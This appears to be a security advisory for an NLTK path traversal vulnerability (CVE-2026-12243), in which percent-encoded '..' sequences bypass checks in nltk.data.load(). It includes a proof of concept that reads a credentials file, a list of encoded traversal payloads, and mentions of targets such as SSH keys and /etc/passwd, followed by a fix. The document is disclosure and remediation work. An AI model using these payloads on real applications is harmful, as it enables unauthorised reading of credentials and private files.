NLTKGHSA-m42h-3232-vpv3

nltk: Arbitrary File Read via Path Traversal in nltk.data.load() through Percent-Encoded Sequences

CVE-2026-12243 · Published Aug 13, 2026

High7.5

Fix: upgrade to 3.10.0 or later

Summary

nltk.data.load() and nltk.data.find() resolve user-supplied resource names to filesystem paths using url2pathname(), which decodes percent-encoded sequences (e.g. %2e%2e to ..). Path safety checks are performed on the raw, still-encoded string before decoding occurs. An attacker supplying %2e%2e instead of .. bypasses all path validation and reads arbitrary files outside the NLTK data directory.

Vulnerable Code

nltk/data.py - find() function:

url2pathname() decodes %2e%2e -> .. AFTER any safety check

p = os.path.join(path_, url2pathname(resource_name))

if os.path.exists(p):

return FileSystemPathPointer(p)

Proof of Concept

import nltk.data

nltk.data.path = ["/home/user/nltk_data"]

%2e%2e decodes to .. via url2pathname(), escaping the data dir

data = nltk.data.load("%2e%2e/SECRET_credentials.txt", format="raw")

print(data)

b'AWS_SECRET_KEY=AKIAIOSFODNN7EXAMPLE\nDATABASE_PASS=hunter2\n'

All of these bypass path checks and decode identically:

Payload After url2pathname()

%2e%2e/secret ../secret

.%2e/secret ../secret

%2e./secret ../secret

%2E%2E/secret ../secret

Root Cause

url2pathname() is called after path safety checks, not before. Encoding .. as %2e%2e passes every check, then decodes to a traversal sequence at filesystem access time.

Fix

Decode before checking:

from urllib.parse import unquote

resource_name = unquote(resource_name) # decode first,...

Affected versions

Package	Affected	Fixed in
nltk PyPI	< 3.10.0	3.10.0

Details and references

# Summary nltk.data.load() and nltk.data.find() resolve user-supplied resource names to filesystem paths using url2pathname(), which decodes percent-encoded sequences (e.g. %2e%2e to ..). Path safety checks are performed on the raw, still-encoded string before decoding occurs. An attacker supplying %2e%2e instead of .. bypasses all path validation and reads arbitrary files outside the NLTK data directory. # Vulnerable Code nltk/data.py - find() function: url2pathname() decodes %2e%2e -> .. AFTER any safety check p = os.path.join(path_, url2pathname(resource_name)) if os.path.exists(p): return FileSystemPathPointer(p) # Proof of Concept import nltk.data nltk.data.path = ["/home/user/nltk_data"] %2e%2e decodes to .. via url2pathname(), escaping the data dir data = nltk.data.load("%2e%2e/SECRET_credentials.txt", format="raw") print(data) b'AWS_SECRET_KEY=AKIAIOSFODNN7EXAMPLE\nDATABASE_PASS=hunter2\n' All of these bypass path checks and decode identically: # Payload After url2pathname() %2e%2e/secret ../secret .%2e/secret ../secret %2e./secret ../secret %2E%2E/secret ../secret Root Cause url2pathname() is called after path safety checks, not before. Encoding .. as %2e%2e passes every check, then decodes to a traversal sequence at filesystem access time. # Fix Decode before checking: from urllib.parse import unquote resource_name = unquote(resource_name) # decode first, then validate # Impact An attacker who controls the resource name passed to nltk.data.load() can read any file the process has permission to access - credentials, environment files, SSH private keys, /etc/passwd, /proc/self/environ, application config files, etc. This affects any application that passes user-controlled input to nltk.data.load() or nltk.data.find().

CVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Severity from: GitHub (reviewed advisory)
Weakness: CWE-22
Also known as: CVE-2026-12243, PYSEC-2026-597

More NLTK advisories

All NLTK

Low 2.5Aug 22

NLTK CrubadanCorpusReader path traversal allows arbitrary file disclosureCVE-2026-71514fixed in 3.10.3 High 7.5Aug 21

NLTK TweetTokenizer vulnerable to denial of service through catastrophic regex backtrackingCVE-2026-72818fixed in 3.10.1 Low 3.7Aug 10

NLTK network URL validation permits SSRF to RFC 6598 shared-address-space hostsCVE-2026-12372fixed in 3.10.0 Low 3.7Aug 9

NLTK: server-side request forgeryCVE-2026-12372no fix yet Medium 5.3Aug 7

NLTK downloader allows cross-package resource and model poisoningCVE-2026-12261fixed in 3.10.0 Medium 6.5Aug 7

A vulnerability in `nltk.downloader` in nltk/nltk versions <= 3.9.4CVE-2026-12261fixed in 3.10.0